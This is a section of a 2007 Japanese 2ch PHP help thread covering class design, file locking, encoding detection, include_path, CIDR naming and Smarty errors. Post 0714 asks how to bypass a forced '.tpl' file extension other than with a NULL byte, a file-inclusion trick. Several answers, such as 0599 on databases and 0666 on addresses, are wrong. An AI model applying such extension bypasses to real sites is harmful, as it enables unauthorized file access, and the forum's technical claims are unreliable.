0565nobodyさん
2007/10/29(月) 21:33:30ID:???ttp://www.hkvstore.com/phpmaker/
0566nobodyさん
2007/10/29(月) 21:58:04ID:???0567nobodyさん
2007/10/29(月) 22:07:03ID:???0568522
2007/10/29(月) 22:32:40ID:???ありがとうございます。
> Model1::select('Model1');
これがちょっといけてないので、Model1::select(); と書ける魔法なんかないでしょうか。
0569nobodyさん
2007/10/29(月) 22:55:24ID:???0570nobodyさん
2007/10/29(月) 22:58:17ID:htv8blfh>書かれている通りです
書かれている通りとは?
0571nobodyさん
2007/10/29(月) 23:24:01ID:???よく出る話題だがbacktrace()からコールしたクラス名得て>>525的にやるくらいしかない
サブクラスでselect()を再定義して、テーブル名を指定してparent::select("table name") のように
すれば表記上は Model1::select() と出来るけど、、、
やはりテーブル名をクラスメンバとして ModelObject に結び付けてるのがおかしいのでは、、、
サブクラスで再定義したいのに、親クラス固有のメンバを参照するような設計になってて矛盾がある
0572nobodyさん
2007/10/29(月) 23:37:42ID:???へたにstaticとか使うとOOとしてはアレ?ということになりがち。
0573nobodyさん
2007/10/30(火) 00:18:14ID:+WynKem6表示したいんですが、どうすればよいでしょうか?
0574nobodyさん
2007/10/30(火) 00:27:23ID:???0575nobodyさん
2007/10/30(火) 00:52:13ID:???0576nobodyさん
2007/10/30(火) 01:10:13ID:???0577nobodyさん
2007/10/30(火) 01:11:48ID:???0578nobodyさん
2007/10/30(火) 01:38:57ID:???0579522
2007/10/30(火) 01:40:24ID:???>やはりテーブル名をクラスメンバとして ModelObject に結び付けてるのがおかしいのでは、、、
>サブクラスで再定義したいのに、親クラス固有のメンバを参照するような設計になってて矛盾がある
そうなんですかね。RubyやPythonではこれがふつうの設計方法なんですよ。
Model1::select()を呼び出したときに、ModelObject::select()が実行されるのはPHPでも一緒なんですけど
PythonやRubyではちゃんとModel1のクラス変数(またはクラスインスタンス変数)が参照できるんですよ。
おんなじようにPHPでもできるだろうと思ってたんですが、スマートにはいかなそうなので、なんか違う方法考えます。
0582nobodyさん
2007/10/30(火) 01:53:06ID:???0583nobodyさん
2007/10/30(火) 01:57:49ID:???0584nobodyさん
2007/10/30(火) 02:03:05ID:???PHPなんか使えなくても不自由ない
0585nobodyさん
2007/10/30(火) 02:16:02ID:???0587nobodyさん
2007/10/30(火) 02:47:58ID:???PHPのクラスメソッドから他のクラスメソッドを呼び出すには、クラス名を指定する必要があるから、うまく行きません。
>>581
普通の実装じゃないといいきる理由は?
>クラスメンバの原義を考えれば当然
これってJavaでのクラス変数のことをいってるのかもしれないけど、PythonでもRubyでもクラスインスタンス変数というのがあって、これを使うと「クラス変数なんだけどクラスごとに別の値を取れる変数」が使える。
これが使えるなら使った方が自然な設計ができますよ。
Model1::select() はインスタンスメソッドではなくクラスメソッドにすべきだから(だってインスタンスを取ってくるメソッドだからね)、select()が使う変数はクラスに対して設定する必要がある。
だからテーブル名はクラス変数(またはクラスインスタンス変数)で設定したい。
それ以外にいい方法があるなら教えてください。
>>584
他の言語でできてPHPでできないことがあったからって、なんでこんなこというかな。
ここってPHPの質問するところでしょ?PHPでできますかと聞いて、できないと答えた、ただそれだけでいいのになんでこんなひがみが出てくるの?
だれもPHPを非難してないでしょ?質問の意図を説明するために他の言語を例として出したまでなのに、すぐ被害妄想になるやつ大杉。できないならできないって答えて、そうですかで終わりじゃん。
0589nobodyさん
2007/10/30(火) 02:58:50ID:???コードが異常
もっと”まとも”なコード書いてください
0591nobodyさん
2007/10/30(火) 03:07:20ID:???これが蛇足ってやつだね
>できないならできないって答えて、そうですかで終わりじゃん。
で、しっかり自己矛盾してるし。当の本人が終わらせる気まるで無し
0592nobodyさん
2007/10/30(火) 03:14:56ID:???SQLite関数は2までしかサポートしていません。
SQLite3を利用したい場合はPDOクラスを使用してください。
0593nobodyさん
2007/10/30(火) 03:23:42ID:vbqY4O/sログの分け方なんですが、1ファイル1スレッドでわけるか、
1ファイル複数スレッドにいれるか悩んでます。
アクセスは1day/1〜1000程度に耐えられればいいと思ってます。
レンサバなどで、1スレッドごとにファイルを読み込むのは処理が重くなりますかね?
0594nobodyさん
2007/10/30(火) 03:37:10ID:???読み出しの負荷が気になるなら2chみたく書き込み時に静的ファイルを生成するのがええじゃろ
0595nobodyさん
2007/10/30(火) 03:49:48ID:???お前は朝起きたたびごとに鯖が落ちていたことあるんかいと
それも俺は寝てるのに、ロリ野郎が朝までお祭り投稿やってたような状況にな
最初は理想でいいんだよ
最適化なんて考えるな
重いもヘチマもアクセスだないと成立しないんだよ
0596nobodyさん
2007/10/30(火) 03:53:59ID:???それより初心者だと fopen('log1.dat', 'w'); flock(... とかやってファイル壊したりとか
XSS脆弱性のこしてたりしないように気を使ったほうがいいかも
0597nobodyさん
2007/10/30(火) 04:06:30ID:vbqY4O/sあと、大抵のレンサバはセーフモードで動いてますよね。
あれおをローカルでも実現したいのですが、safe_mode = onとするだけでいいのでしょうか?
0598nobodyさん
2007/10/30(火) 04:11:34ID:???何事も実験orドキュメント読む
それぐらい直ぐ解る事だろ
レンサバと設定あわせたいなら
レンサバでphpinfo実行してそれと同じ内容になるようにする
configreオプション出てると思うので同じ内容でインストールする
あとはてきとーに設定をあわせる
0599nobodyさん
2007/10/30(火) 04:31:22ID:???データベースでデータ操作しても、ファイルが壊れることはないよな。
それは、どうしてなのかと考えてみたが、
データーベースの場合は、OSの何か特殊なファイル(絶対に壊れないファイル)を
使っているから壊れないのでは、と思う。
しかし、スクリプト言語の場合はOSレベルまでの操作ができないから、
その絶対に壊れないファイルを操作することができず、
結果、スクリプト言語はファイルが壊れるんだろうな。
スクリプト言語ではなく、C言語やアセンブラ言語であれば、
このような操作が出来るはずだが、そうなると、もはやスクリプト言語の
存在意義は、開発の効率性の一点だけに求められるような気がする。
つまるところ、効率性が求められる現代において、スクリプト言語が重用される
理由がここにあることになる。
0600nobodyさん
2007/10/30(火) 04:44:29ID:???クラスメソッドはメモリの節約になるかもしれないが
実行速度は遅いのでインスタンスメソッドの方が
使用頻度によっては良いよ
つーかDBからテーブル情報とかを取ってくる所のクラスなら
別にインスタンスにしてもシングルトンにしときゃーメモリ節約できるんだし
態々ややこい事しなくてもと思ってしまう
>>599
DBはある程度メモリにプールしてたまに書き込みだから
スクリプトとかでがつがつ書き換えるよりかは
書き換え頻度が低いってのもあるんじゃないかな
ここら辺の構造はうろ覚えなので間違ってたらスマン
0601nobodyさん
2007/10/30(火) 05:06:15ID:???アクセスカウンタぐらになもんだろw
0602nobodyさん
2007/10/30(火) 05:11:34ID:???0603nobodyさん
2007/10/30(火) 06:45:32ID:???>セーフモードはオープンしようとするファイルの UIDの比較チェックを行います。
↑これはfopenで新規作成ができないってことですか?
0605nobodyさん
2007/10/30(火) 06:59:46ID:vbqY4O/sreadfileができなくなるのですね。ありがとうございました。
0606nobodyさん
2007/10/30(火) 07:01:24ID:???0608nobodyさん
2007/10/30(火) 08:28:54ID:vbqY4O/sサーバに負担がかかりますか?
ひとつのディレクトリに300〜2000ファイルとか作成しても耐えられますかね?
あと、レンサバはふつうファイル数の制限ってしてますか?
0609nobodyさん
2007/10/30(火) 08:35:42ID:???最大で2000ファイルくらいなら全然平気。
平均が2000で最大は万を超えるとか言ったら「分けれ」って言いたくなるけど。
0610nobodyさん
2007/10/30(火) 08:41:05ID:???余程アホなスクリプト書かん限り2000程度のファイルで負荷なんてかからん。
ファイル数の制限についてはレン鯖によって違うからなんとも言えん。
0611nobodyさん
2007/10/30(火) 08:45:30ID:???0613nobodyさん
2007/10/30(火) 10:57:31ID:vbqY4O/s0614nobodyさん
2007/10/30(火) 13:12:11ID:???これらはあれば便利で使うものなのに、さもその通りに行かないといけないと気がすまなくなってくる
それが実行速度的に悪影響を及ぼし、余計な回り道となっていることに気が付かずにw
そして原点回帰で動けばいいことに気が付いた時、今までの経験を元に綺麗なコードが書ける
プログラムなんてそんなもの
rubyの深さを知って生産性は飾りだと気づいたw
0615nobodyさん
2007/10/30(火) 13:16:35ID:???0616nobodyさん
2007/10/30(火) 13:45:18ID:???0617nobodyさん
2007/10/30(火) 14:32:42ID:???0621nobodyさん
2007/10/30(火) 15:01:59ID:vbqY4O/sそこで代替策として、$_SERVER['REQUEST_URI']でバラして使おうかと思っているのですが、
$_SERVER['REQUEST_URI']も使えないことってありますか?
0622nobodyさん
2007/10/30(火) 15:14:36ID:???0623619
2007/10/30(火) 15:31:01ID:???0624nobodyさん
2007/10/30(火) 15:55:46ID:???あるかと聞かれればある
こことか独自のHTTPD使ってる
http://monaneko.jog.buttobi.net/info.php
0626nobodyさん
2007/10/30(火) 16:04:26ID:vbqY4O/s0627nobodyさん
2007/10/30(火) 16:16:46ID:Rzoy8xmcこれをうまく使って、$this->barの$this->を書かなくするようにできそうだな。
メンバ変数を動的にnamespace内のグローバル変数にしてゴニョゴニョーって。できないかな。
0628nobodyさん
2007/10/30(火) 16:28:02ID:???0629nobodyさん
2007/10/30(火) 16:29:52ID:???0630nobodyさん
2007/10/30(火) 16:34:08ID:???0631nobodyさん
2007/10/30(火) 16:47:47ID:???PHPがいかに簡単すぎるかがわかったよ
0632nobodyさん
2007/10/30(火) 17:05:20ID:???$thisが面倒って話は分かるが、グローバルに扱えるようにするってのは
global宣言と同じ程度にバグの元になるような気がするよ。
あんまり好ましい方策ではないんじゃなかろうか。いくらPHPでもさ。
0633nobodyさん
2007/10/30(火) 17:18:08ID:???0634nobodyさん
2007/10/30(火) 17:30:12ID:???500行ぐらい。
0635nobodyさん
2007/10/30(火) 17:42:54ID:UpkPLboM設定による自動変換は推奨されていないし、
決めうちも必ずしも正確とはいえない。
スクリプト内の判定も、文字数や文字列によって誤判定がありそう。
正確にやろうと思ったら「毎回文字コード判定用のダミーパラメータを付加」
くらいしかないような気がしますが、
そんなことをしているという話も寡聞にして知りません
いったいどうするのがベストなんでしょう??
0636nobodyさん
2007/10/30(火) 17:50:37ID:???0637nobodyさん
2007/10/30(火) 19:14:36ID:???エンコード判定→変換の流れが、どうするのがいいのか分からないんですよねー
試しに文章を一文字区切りにして、一文字ずつ判定ルーチンにかけてみましたが
やはり誤判定する文字がありますね
0638nobodyさん
2007/10/30(火) 19:15:06ID:???0639nobodyさん
2007/10/30(火) 20:49:56ID:???DWはWebオーサリングツールであってフレームワークじゃない。
フレームワークっていうのは簡単にいうと、
MVCモデルを実現するための仕組みのようなもの。
必要なデータベースを作り、簡素なModel View Controllerを記述することにより、
あとはフレームワークが複雑な処理をやってくれる。
たとえばCakePHPのチュートリアルにあるとおり、
数行のコードでBlogが作れるようになっているわけだ。
当然FWで作ったアプリケーションはFW上でしか動作しないので、
サーバにインストールする必要があるが、
実体はPHPなので、PHPが使えるサーバならPHPのFWは使えるということになる。
0641nobodyさん
2007/10/30(火) 21:01:57ID:7j0uTXdo$ipaddr = '192.168.0.1';
$subnet = '24';
$??? = '192.168.0.1/24';
$???は何にしたらいいでしょうか?
別になんでもいいのですが他人が見るのでちゃんとした名前にしたいです。
0644nobodyさん
2007/10/30(火) 21:12:26ID:???0645nobodyさん
2007/10/30(火) 21:14:03ID:???>620 が言ってるのは FireWorks だと思うんだが…
(もっとも >620 の言う「DW が でてくるから」というのは どこだかわからんが)
0649nobodyさん
2007/10/30(火) 21:26:45ID:???0650nobodyさん
2007/10/30(火) 21:29:26ID:???ipaddr_cidrでいいだろ
何が不満なんだ
0651nobodyさん
2007/10/30(火) 21:32:36ID:???0652nobodyさん
2007/10/30(火) 21:38:22ID:???0653nobodyさん
2007/10/30(火) 21:49:27ID:???0655nobodyさん
2007/10/30(火) 22:03:53ID:???0656nobodyさん
2007/10/30(火) 22:15:39ID:???だってネットワークだシナ
0657nobodyさん
2007/10/30(火) 22:17:44ID:???クラス名・変数名に迷ったら書き込むスレ。Part11
http://pc11.2ch.net/test/read.cgi/tech/1191250784/
0658nobodyさん
2007/10/30(火) 22:18:49ID:???http://pc11.2ch.net/test/read.cgi/tech/1191250784/l50
0660nobodyさん
2007/10/30(火) 22:19:26ID:???0661nobodyさん
2007/10/30(火) 22:29:31ID:???なるほどFireWorksか。気づかなかった。
>>649
開発性・生産性・拡張性に優れているものを作ろうとすると自然とMVCになるわけで、
=ではないが実際FWのほとんどがそういったものであるのは事実。
よく説明にある、フレームワーク=土台といっても、全く知らない人間には意味不明だから、
わかりやすく説明するために簡素化しすぎたのは悪かったけどな。
0662nobodyさん
2007/10/30(火) 22:31:32ID:???24 -> netmask (0xffff00 のことでしょ)
192.168.0.1/24 -> network address or cidr address
0663641
2007/10/30(火) 22:44:56ID:???24 -> SNM
192.168.0.1/24 -> NWA
ども!これに決めました。
文句があると思うけどSKN!!
0664nobodyさん
2007/10/30(火) 22:46:15ID:???こんなの存在しないだろ
192.168.0.0/24ならわかるが
0666nobodyさん
2007/10/30(火) 23:43:22ID:???それは、いわゆるブロードキャストアドレスってやつで、
そのアドレスに向けて打つと、そのネットワークに繋がっている
全てのルーターに到達する。スレチだから、詳しくはネットワーク関係の板でも聞け。
0668nobodyさん
2007/10/30(火) 23:45:08ID:???0669nobodyさん
2007/10/30(火) 23:47:31ID:???0670nobodyさん
2007/10/30(火) 23:54:32ID:???0672nobodyさん
2007/10/31(水) 00:06:54ID:???ウソつきばっかだな
0675nobodyさん
2007/10/31(水) 00:38:45ID:???難しくてわからない
0677nobodyさん
2007/10/31(水) 00:57:17ID:???そもそも192.168.0.1/24はCIDRアドレスの簡易表記法=アドレス/プレフィックス長なわけで。
(プレフィックス長=ネットワーク部のビット数)
プレフィックス長を省略して192.168.0.1と表記した場合はホストアドレスとしての解釈。
0678nobodyさん
2007/10/31(水) 01:00:34ID:???0679nobodyさん
2007/10/31(水) 04:54:27ID:???ログイン済みかどうかの判断は
1. ID/PASSWORDをセッションで持ち歩いて移動毎にチェック
2. 一度認証クリアしたらIDのみセッションに入れて、移動毎にIDセッション持ってるか確認
どっちが良いでしょうか?
1の方が安全な気がうっすらとはしますが。
0680nobodyさん
2007/10/31(水) 04:56:58ID:???0682nobodyさん
2007/10/31(水) 06:47:01ID:jWccZHntこれはユーザーが書き換えることを想定して、htmlspecialcharsをかませるべきでしょうか?
0683nobodyさん
2007/10/31(水) 06:48:37ID:???0685nobodyさん
2007/10/31(水) 07:03:30ID:???俺は決めうち
表示エンコードで返ってくるものとしてそもそも変換していない
ダミーパラメーターは聞いたことはあるからそんなに珍しくはないだろう
0687nobodyさん
2007/10/31(水) 10:10:47ID:F/XuAcDL$xxx_date
$page[] = '../aaa/';
$page[] = '../bbb/';
それぞれのディレクトリーにはページファイルが入ってます。それを
foreach($page as $key =>$value){
$pdata = explode("." , $value);
$lastupdate = @date("Y-m-d\TH:i:s\+09:00", @filemtime("..".$pdata[2].".php"));
echo $lastupdate;
}
としてファイルの更新時間などを取得してるのですが、$lastupdateで取得したそれぞれの更新日と
$xxx_dateを比較して最新のものを返すにはこの後どうすればいいんでしょうか。
0688nobodyさん
2007/10/31(水) 10:21:50ID:F/XuAcDLなにか違うものを貼り付けてました
foreach($dirurl as $key =>$value){
$dirurl = $value;
$dir = @opendir($dirurl);
while($file = readdir($dir)) {
if (!is_dir($file)){
$pdata = explode("." , $dirurl.$file);
$lastupdate = @date("Y-m-d\TH:i:s\+09:00",@filemtime("../".$pdata[2].".php"));
echo $lastupdate;
}
}
closedir($dir);
}
です(;´д⊂)
0689nobodyさん
2007/10/31(水) 12:26:20ID:wHbETa3h$Nextmonth = date("Y年m月",mktime(0, 0, 0, date("m")+1, date("d"), date("Y")));
echo $Nextmonth;
これで何故か2007/12になる…。
期待した表示は11月なんですが、おかしい所指摘してくださいまし。
もっと簡易な書き方があったらそれも欲しいです
(´・ω・`)
0691nobodyさん
2007/10/31(水) 12:36:30ID:???今日が10月31日で、月+1にすると11月31日で
11月は30日までしかないから12月1日扱いになる。
日まで指定する必要なし。
0694nobodyさん
2007/10/31(水) 12:40:02ID:???0696nobodyさん
2007/10/31(水) 12:50:04ID:???0699nobodyさん
2007/10/31(水) 13:45:38ID:G97Omn6y現在はEXCEL_REVISEを使わせてもらってるんですけど、数式の追加が出来ないんですよね。
環境はCentOS5.0+PHP5.1.6です。
0702nobodyさん
2007/10/31(水) 14:37:29ID:Xq7d8XJi.├ hogehoge.php
.├ example.php
.└ . htaccess
ディレクトリの中の各PHPに同じファイルをインクルードさせたいのですが、
全てのPHPファイルに「require_once("/path/include.php");」
を書くと、読み込むファイルのパスが変わった場合など変更するのが大変です。
. htaccessで全ての*.phpに同じ一行を記述するようなことはできませんか?
(記述というか、同じ動作を与えることです。)
0703nobodyさん
2007/10/31(水) 14:52:34ID:???0705nobodyさん
2007/10/31(水) 14:56:56ID:Xq7d8XJiなるほど!
include_pathも考えてみたのですが、これって複数のパスを指定できるのですね
その方法で試してみます、ありがとうございました。
0706nobodyさん
2007/10/31(水) 14:58:34ID:???たしかインストールマニュアルのPEARのインクルードが云々って所に書いてあったはず
0707687
2007/10/31(水) 15:01:41ID:F/XuAcDL>>687 分かる人。
0709nobodyさん
2007/10/31(水) 15:06:52ID:Xq7d8XJihtaccess
php_value include_path ".;C:\xampp\htdocs\Project\test\inc\conf.php"
inc/conf.php
<?
$x = 10;
echo "aa";
?>
index.php
<?
echo $x;
?>
index.phpを実行すると白紙になります。
conf.phpを読み込んでくれていないということですよね。
require_once()では同じパスで正常に読み込んでくれました。
phpinfo()で見てみるとinclude_pathもしっかり書き換わっていました。
0710nobodyさん
2007/10/31(水) 15:21:24ID:???喧嘩うってんのかてめえ!
0712nobodyさん
2007/10/31(水) 15:25:02ID:Xq7d8XJiなるほど!
つまり、require_once()は直書きしないといけないのですね。
ありがとうございます。
0713nobodyさん
2007/10/31(水) 15:30:37ID:???php_value include_path ".;C:\xampp\htdocs\Project\test\inc"
index.php
<?
require "conf.php"; # パスから探して読み込み
echo $x;
?>
けど設定ファイルは相対パスで指定しといて、相対関係は固定したほうがいいと思うよ
ほんで conf.php 内にパス用の定数をあれこれつくる
0714nobodyさん
2007/10/31(水) 15:38:57ID:KNyfjI5Yこの状況で、NULLバイト後ろにくっつける以外に'.tpl'を無視できる方法ってないかな?'
0715nobodyさん
2007/10/31(水) 15:46:40ID:???0716nobodyさん
2007/10/31(水) 16:07:24ID:KNyfjI5Yどういうこと?
0720nobodyさん
2007/10/31(水) 16:43:09ID:???0722nobodyさん
2007/10/31(水) 18:03:18ID:???質問の日本語の意味が分からないんだけど、
> $lastupdateで取得したそれぞれの更新日と$xxx_dateを比較して最新のものを返す
ってのは
「$xxx_dateより新しい$lastupdateを全部返す」
のか
「$lastupdateの中で1番新しいものを返す」
のか
「$lastupdateの中で1番新しいものが$xxx_dateよりも新しかったら返す」
のか、
どれが正解?
0723nobodyさん
2007/10/31(水) 18:26:51ID:/4czZymMアクセス集中しそうなアンケートで、csvを追記したいのですが
lockファイルのロック→書き込み対象のロック→解除→解除
のよくある二段構えでは不十分でしょうか?
実際一回だけ消えた事はありしまた…
SQLなど使わずに、よい保存法はありますか?
0724nobodyさん
2007/10/31(水) 18:37:04ID:???EUC-JPで保存しました。HTMLファイルはShift_JISで保存しました。
そうしたら、アクセスしたら文字化けしたので、HTMLファイルもEUC-JP
にしたら治ったんですが、やはりHTMLファイルもEUC-JPでなければならない
ということですか?PHPのinternalencodingはEUC-JPとしています。
教えてください。
0728687
2007/10/31(水) 18:58:22ID:F/XuAcDL$xxx_date = getlastmod();です。
>>688で取得した各ファイルの内もっとも更新時間の早いファイルの更新時間と
$xxx_date とを比較したいのです。
0729nobodyさん
2007/10/31(水) 19:06:55ID:???近頃コメントスパムが増えてきたので、KCAPTCHAによる認証を通そうと考えたのですが
PHPはまるでわからないのでお手上げ状態です。
entries/writeback.skin に
<img src="PATH-TO-THIS-SCRIPT?<?php echo session_name()?>=<?php echo session_id()?>">
<input type="text" name="keystring">
を追記し、CAPTCHA画像を呼び出すところまではできたのですが
肝心要の本体側(rnote.php)のどこに何を書き込めばよいのかがどうにもわかりません。
親切な方、お時間のある方、どうかお助けを……
rNote
ttp://rinn.e-site.jp/rnote/
KCAPTCHA
ttp://freshmeat.net/projects/kcaptcha/
0731nobodyさん
2007/10/31(水) 19:22:16ID:???getlastmodとfilemtimeは両方とも
UNIXタイムスタンプなので
そのまま比較すればいいよ
foreach($dirurl as $key =>$value){
$dirurl = $value;
$dir = @opendir($dirurl);
$lastFileMtime = 0;
while($file = readdir($dir)) {
if (is_file($file) == false){
continue;
}
$pdata = explode("." , $dirurl.$file);
if ($lastFileMtime < filemtime("../".$pdata[2].".php")) {
$lastFileMtime = filemtime("../".$pdata[2].".php");
}
}
closedir($dir);
}
$xxx_date = getlastmod();
if ($xxx_date < $lastFileMtime) {
echo 'なんたらかんたら';
}
0732nobodyさん
2007/10/31(水) 19:33:40ID:5PiA8qbKやっぱりSQL使わないと駄目ですかねぇ
なるべくhtmlとlogファイルだけで手狭にしたいんですが
0733nobodyさん
2007/10/31(水) 19:40:36ID:???0734687
2007/10/31(水) 19:44:14ID:F/XuAcDL早速ありがとうございます。
これから仕事なので帰宅したらやってみます。
こういうのがぱっと書けるように早くなりたい(;´д⊂)
何度も書き込み失礼しました。
0735nobodyさん
2007/10/31(水) 19:44:15ID:???負荷テストしたって再現困難だろうな
0736nobodyさん
2007/10/31(水) 20:01:54ID:???もし"DBMSの管理めんどくせ"で避けてるんならSQLite2使ってみたら?標準装備だし
SQLを解釈するISAMって感覚で、素のファイルを扱うより楽だと思うけどね
0737nobodyさん
2007/10/31(水) 20:22:24ID:???0738724
2007/10/31(水) 20:45:34ID:YAd2ItnR0739nobodyさん
2007/10/31(水) 20:49:27ID:???えー。それはうそだろーw
ちょっとぐらい調べてからいえよw
0740nobodyさん
2007/10/31(水) 21:08:23ID:5PiA8qbKとにもかくにも事故らないためにDBは必要ということですね。
ところで、よくある別にlockファイル用意して二重でロックする場合
どんなときにログが落ちちゃうんでしょう?追記モードにて
0743nobodyさん
2007/10/31(水) 21:22:28ID:???ハンドルとってからデッドロックのままプロセスアウトとか?
0744nobodyさん
2007/10/31(水) 21:28:21ID:CWnmoTELスレタイ
【Shift】日産の劣化コピー車【copy】
本文
まずはご覧ください。
にっさんwしましまw
http://itpro.nikkeibp.co.jp/article/NEWS/20071030/285812/
http://itpro.nikkeibp.co.jp/article/NEWS/20071030/285812/?SS=imgview&FD=-654674548&ST=ittrend
パクり元Paul Smith(マルチカラーストライプ)
http://www.paulsmith.co.jp/personal/personal_projects_mini.php
こんなあからさまな劣化コピー商品を買う人はいるんでしょうか・・・・・。
中国や韓国で20万ぐらいなら売れるかも知れませんが(以下略
それにしても日本のメーカーがこんなパクり商品を販売するとは情けない。
もっと自社のオリジナリティを出してもらいたい。
日産もルノーの子会社なら、おフランスのデザイナーでも呼べよ。
もう日産とか名乗るな。日本の企業と思われたくない。
10年経てばパクってもバレないとでも思ったんだろうか・・・・・そういう問題じゃないんだけどなぁw
しかも、ポールスミスは数年前に自分の(真っ白な)iMacをマルチカラーストライプでペイントしていたしな。
もうね、どこからどう見てもパクり。
国 の 恥 だ 。
0745nobodyさん
2007/10/31(水) 21:35:17ID:???ファイルロックに十分とか不十分みたいな程度問題はない
0746nobodyさん
2007/10/31(水) 21:51:18ID:???まあそういう場合でもエラー直前までのデータが保持できるDBのほうが信頼性がある。
ただ別にDB鯖用意しないと負荷対策にはならないからね。
処理自体は遅くなるんだから。
0747nobodyさん
2007/10/31(水) 21:57:10ID:yARVDfITWarning: Smarty::include(compile/%%75^75A^75A37DFB%%aa.txt.php) [function.Smarty-include]: failed to open stream: No such file or directory in /home1/httpd/viprog/public_html/Smarty/libs/Smarty.class.php on line 1258
というふうに、コンパイルしたスクリプト名が文字化けしてしまいます。
初めてSmartyを使ったのですが、これはデフォなのですか?
0748nobodyさん
2007/10/31(水) 21:58:03ID:???0750nobodyさん
2007/10/31(水) 22:01:53ID:yARVDfITデフォルトのようですね、
ですが、includeできません。
URL直打ちしてみても見ることができません(400Error
0752nobodyさん
2007/10/31(水) 22:10:22ID:???なんで400なんか?
まあディレクトリ構成とパスの設定を見直してみたら、としか
あとSmartyはドキュメントルート外に出したほうがいいよ、念のため
0753nobodyさん
2007/10/31(水) 22:12:17ID:???URL直打ちとか意味分からんことありませんか
0754nobodyさん
2007/10/31(水) 22:26:47ID:5PiA8qbKこないだログが0kbになってて真っ青に・・・
//ロック開始
$lockfilename = dirname(__FILE__).'/lock';
$lockfp = fopen($lockfilename,'w');
flock($lockfp, LOCK_EX);
//更新
$fp = fopen( $pass,$m);
stream_set_write_buffer($fp, 0);
flock($fp, LOCK_EX);
rewind($fp);
fwrite($fp,$value);
flock($fp, LOCK_UN);
fclose($fp);
//ロック解除
flock($lockfp, LOCK_UN);
fclose($lockfp);
0757nobodyさん
2007/10/31(水) 22:35:28ID:???なんか追記にしては妙なコードだ
0758nobodyさん
2007/10/31(水) 23:21:37ID:???/^ab[cd]\d{1,2}$/
という正規表現があります。
これを
最初がabcの場合は後に続く数字が1文字、
最初がabdの場合は後に続く数字が2文字
とマッチの条件を変更したいのですが、これは表現を分けるしかないでしょうか?
綺麗に記述出来ればいいのですが、当方では限界でした。
もし方法があるのであれば教えていただきたいです。
0759nobodyさん
2007/10/31(水) 23:26:12ID:???^ab(c\d{1}|d\d{2})$
こんな感じ?
多分もっとスマートな方法あるかもしれんが
詳しくは正規表現スレへ・・
0760nobodyさん
2007/10/31(水) 23:49:37ID:???他からアップロードしたファイルを見られたくありません。
アップロード中のときにどこかからデータを見られたりするのでしょうか?
暗号化してアップロードとか無理ですよね
0761nobodyさん
2007/10/31(水) 23:50:22ID:???このスレを見ている人はこんなスレも見ています。が、
全部俺がカキコしたスレになった件について
0763nobodyさん
2007/11/01(木) 00:08:10ID:???アップロード中の暗号化というかそういうのは
HTTPSでやればいい
アップロードしたファイルを他から見られたく無いってのは
アップロードした時に保存するディレクトリの権限をいじくっておけばいい
>>761
それって専ブラが多いってだけじゃ
0765nobodyさん
2007/11/01(木) 01:36:54ID:nYx+6pbP1→01
日付とか時間とかですね。
ところで、日付(具体的には誕生日)を扱うときに、
UNIXタイムを使うと、1970年以前が扱えませんよね?
何かコツはありますか?単純に文字列として保存ですかね?
0766nobodyさん
2007/11/01(木) 01:38:42ID:???0767nobodyさん
2007/11/01(木) 01:46:08ID:???0768nobodyさん
2007/11/01(木) 02:05:18ID:???こんな感じで保存してる
0769nobodyさん
2007/11/01(木) 02:51:53ID:???fclose前のUNLOCKは特別な理由がない限り推奨されない。
そんなことしなくてもfcloseすれば勝手にUNLOCKされる。
fclose前にUNLOCKしたら出力がまだフラッシュされてない場合があるので
その状態で他のプロセスにオープンされると中身を消失する。
0770nobodyさん
2007/11/01(木) 02:55:47ID:???0771nobodyさん
2007/11/01(木) 02:58:20ID:???fwrite〜fclose間でデータをメモリキャッシュしてるのはPHP側なんだから
OSの挙動は全然関係ないぞ。
0772nobodyさん
2007/11/01(木) 03:01:05ID:???OS側でフラッシュを保証するかどうかじゃないの
0773nobodyさん
2007/11/01(木) 03:14:51ID:???連想配列ならforeach、
通常の配列でも$iとか作成しなくてよくて良さげなのですが、
通常の配列もforeach使う人多いもんでしょうか?
0779nobodyさん
2007/11/01(木) 03:36:43ID:???fwrite()の時点ではデータのサイズにもよりけりだが、まだデータはPHPが確保してる
メモリキャッシュ上にある可能性が高く、その時点ではOSに対して書き込みの
システムコールは発生していない。
その状態でUNLOCKのシステムコールを発行したとこでフラッシュされるわけないじゃん。
UNLOCKする前に明示的にfflush()を実行するかfclose()するかしないと
OSも渡されてないデータなんてフラッシュのしようがない。
この辺りはC言語でもストリーム入出力を使ってる限りは同じ挙動になる。
フラッシュをOSの挙動準拠にしたいならもっと低レベルな命令使わんといかんが
あいにくPHPにはそんな命令は用意されていない。
0781nobodyさん
2007/11/01(木) 03:39:40ID:???だからfclose(=PHPで出力をフラッシュ)して以降のUNLOCKなら
OSが書き込みを保障できるが、その前の段階でUNLOCKされたら
それはアプリケーション側がフラッシュをしない限りOSの知ったこっちゃないんだよ。
なので、fclose前のUNLOCKでの挙動はあくまでPHPの裁量であってOSは関係ない。
0782nobodyさん
2007/11/01(木) 03:41:48ID:???fwrite()はその場では必ずしもファイル書き込みのシステムコールなんて発行しないぞ。
内部キャッシュに出力→キャッシュが一杯になったらシステムコール発行、という仕様。
内部キャッシュに余裕があるうちはfflush()かfclose()を実行されるまで
システムコール発行を保留する。
0783nobodyさん
2007/11/01(木) 03:43:27ID:???こんなとこで割り込み入るのかね。まあシステムによっちゃ入るんだろうけど
0784nobodyさん
2007/11/01(木) 03:47:27ID:???違うだろ。そういう問題ならUNLOCKした時点で必ず書き込みが行われないといけない。
そうでなく、C言語のストリームI/Oライブラリはパフォーマンス向上のため、
アプリケーション側にキャッシュとして書き込みバッファを持ってるんだよ。
fwrite実行の度に書き込みシステムコールを呼んでたら遅くてかなわん。
そのため、内部バッファのフラッシュ前のUNLOCKでのデータ消失はアプリ側の責任になる。
0786nobodyさん
2007/11/01(木) 03:51:16ID:???最近の回答者にやけに多いが。
0787nobodyさん
2007/11/01(木) 03:54:03ID:???こりゃ新境地だな
0789nobodyさん
2007/11/01(木) 03:59:32ID:???0790nobodyさん
2007/11/01(木) 04:01:53ID:LtkqkojUdbの文字コードが取得できない=正常に動作しないですよね?
でもdbの文字コードは、コーディングの時点で分かってることなので、
dbから取得せずとも、
コードを明示してエスケープすればいいのではないかと思うのですが、
それってどうやればいいですか?
というか、具体的にこのエスケープってどういう処理してるんでしょうか?
文字コードによってエスケープ処理を変えなくてはいけないということ自体が
よく分からないんです
0792790
2007/11/01(木) 04:10:59ID:LtkqkojUとmysql_real_escape_stringの説明にあります。
文字コードが何であれ、
これらの文字は結局のところエスケープしなくてはいけないのでは(?_?)
何故文字コードを知る必要があるのか・・・??
0793nobodyさん
